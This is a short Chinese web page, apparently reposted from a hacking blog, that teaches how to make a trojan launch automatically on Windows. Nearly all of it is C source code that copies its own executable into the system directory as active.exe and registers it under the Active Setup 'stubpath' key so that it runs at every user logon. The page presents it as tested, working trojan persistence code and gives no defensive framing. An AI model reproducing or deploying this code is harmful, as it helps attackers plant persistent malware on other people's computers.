教大家如何启动木马 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【meiwen.anslib.com - 电脑资料】

    很多人在问如何实现ACTIVEX 木马启动,其实很简单,

教大家如何启动木马

    mycode:

    // blog:www.54rk.cn

    #include "stdafx.h"

    #define ACTIVE_SETUP "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{450D8FBA-AD25-11D0-98A8-0800361B1175}"

    int APIENTRY WinMain(HINSTANCE hInstance,

    HINSTANCE hPrevInstance,

    LPSTR    lpCmdLine,

    int      nCmdShow)

    {

    TCHAR szModuleName[MAX_PATH]={0};

    TCHAR szDestFath[MAX_PATH];

    HKEY hSubKey = 0;

    GetModuleFileName(NULL,szModuleName,sizeof(szModuleName));

    //获得自身的全路径

    GetSystemDirectory(szDestFath, MAX_PATH);

    //获取系统目录路径

    strcat(szDestFath, "\\active.exe");

    //得到目标全路径

    CopyFile(szModuleName,szDestFath,true);

    //f复制自身到系统目录下

    RegDeleteKey(HKEY_CURRENT_USER, ACTIVE_SETUP);

    //HKEY_CURRENT_USERR中的记录,否则用户下次登录时将不再执行

    RegCreateKey(HKEY_LOCAL_MACHINE, ACTIVE_SETUP, &hSubKey);

    //加载ActiveX启动

    RegSetValueEx(hSubKey,"stubpath",0,REG_EXPAND_SZ,(BYTE *) szDestFath,lstrlen(szDestFath));

    RegCloseKey(hSubKey);

    //关闭hSubKey的对象

    return 0 ;

    }

    /*vc6.0 xp sp3 测试通过*/

最新文章